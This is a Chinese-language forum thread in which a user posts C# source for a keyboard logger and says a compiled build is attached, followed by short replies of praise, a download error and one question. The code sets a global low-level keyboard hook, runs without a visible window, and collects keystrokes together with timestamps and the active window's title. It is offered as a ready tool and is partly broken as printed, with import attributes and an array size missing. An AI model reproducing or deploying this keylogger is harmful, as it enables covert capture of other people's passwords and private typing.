Sam.777 发表于 2024-3-1 18:04

c#键盘记录

键盘记录需要持续运行,c#的console想要实现,需要引用System.Windows.Forms

不能记录tab、Ctrl等按键,处理识别大小写也没成功,记录内容全都是小写(快下班了)
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
using System.Windows.Forms;
using Timer = System.Threading.Timer;

class Program
{
    private static StringBuilder accumulatedInput = new StringBuilder();
    private static DateTime lastKeyPressTime = DateTime.Now;
    private static readonly object lockObj = new object();
    private static Timer timer;

    private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
    private static LowLevelKeyboardProc _proc = HookCallback;
    private static IntPtr _hookID = IntPtr.Zero;

    public static void Main()
    {
      _hookID = SetHook(_proc);
      timer = new Timer(CheckTime, null, 0, 1000); // 每秒检查一次
      Application.Run(new ApplicationContext()); // 使用ApplicationContext来保持应用程序运行,而不显示窗体
      UnhookWindowsHookEx(_hookID);
    }

    private static IntPtr SetHook(LowLevelKeyboardProc proc)
    {
      using (Process curProcess = Process.GetCurrentProcess())
      using (ProcessModule curModule = curProcess.MainModule)
      {
            return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0);
      }
    }

    private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
    {
      if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
      {
            int vkCode = Marshal.ReadInt32(lParam);
            bool shiftPressed = (GetKeyState(VK_SHIFT) & 0x8000) != 0; // 检查Shift键是否被按下
            bool capsLockActive = (GetKeyState(VK_CAPITAL) & 0x0001) != 0; // 检查Caps Lock是否激活
            bool isLetter = vkCode >= 0x41 && vkCode <= 0x5A; // 判断是否为字母键

            // 尝试转换虚拟键码为字符(考虑修饰键)
            StringBuilder charBuffer = new StringBuilder(2);
            if (ToUnicode(vkCode, 0, new byte, charBuffer, 2, 0) > 0)
            {
                string keyText = charBuffer.ToString();
                lock (lockObj)
                {
                  accumulatedInput.Append(keyText); // 累积输入
                  lastKeyPressTime = DateTime.Now; // 更新时间
                }
            }
      }
      return CallNextHookEx(_hookID, nCode, wParam, lParam);
    }

    private static void CheckTime(object state)
    {
      lock (lockObj)
      {
            if ((DateTime.Now - lastKeyPressTime).TotalSeconds >= 5 && accumulatedInput.Length > 0)
            {
                Console.WriteLine(DateTime.Now.ToString()); // 输出时间
                Console.WriteLine(GetActiveWindowTitle()); // 输出当前活动窗口的标题
                Console.WriteLine(accumulatedInput.ToString()); // 输出累积的输入
                accumulatedInput.Clear(); // 清除累积的输入
            }
      }
    }

    private static string GetActiveWindowTitle()
    {
      const int nChars = 256;
      StringBuilder Buff = new StringBuilder(nChars);
      IntPtr handle = GetForegroundWindow();
      if (GetWindowText(handle, Buff, nChars) > 0)
      {
            return Buff.ToString();
      }
      return null;
    }

    // P/Invoke声明
   
    private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

   
   
    private static extern bool UnhookWindowsHookEx(IntPtr hhk);

   
    private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

   
    private static extern IntPtr GetModuleHandle(string lpModuleName);

   
    static extern IntPtr GetForegroundWindow();

   
    static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);

   
    private static extern short GetKeyState(int nVirtKey);

   
    public static extern int ToUnicode(int wVirtKey, int wScanCode, byte[] lpKeyState, StringBuilder pwszBuff, int cchBuff, int wFlags);

    private const int WH_KEYBOARD_LL = 13;
    private const int WM_KEYDOWN = 0x0100;
    private const int VK_SHIFT = 0x10;
    private const int VK_CAPITAL = 0x14;
}



编译好的:

AronnaxM 发表于 2024-3-2 09:28

奇怪了,我点下载附件出来这个,是说吾爱的数据库出问题了吗
Discuz! Database Error
(167) Out of range value for column 'id' at row 1

wuhao121 发表于 2024-3-5 11:23

键盘输入可以记录多少字节?

XXTK 发表于 2024-3-7 15:46

收藏备用

ggcomepojie 发表于 2024-3-8 10:32

厉害了我的哥

coody 发表于 2024-3-12 22:15

这个源码,可以收录一下

pjk321 发表于 2024-3-14 10:49

学习了,大神

xiaoc7 发表于 2024-9-6 11:20

学习了!!!!!
页: [1]
查看完整版本: c#键盘记录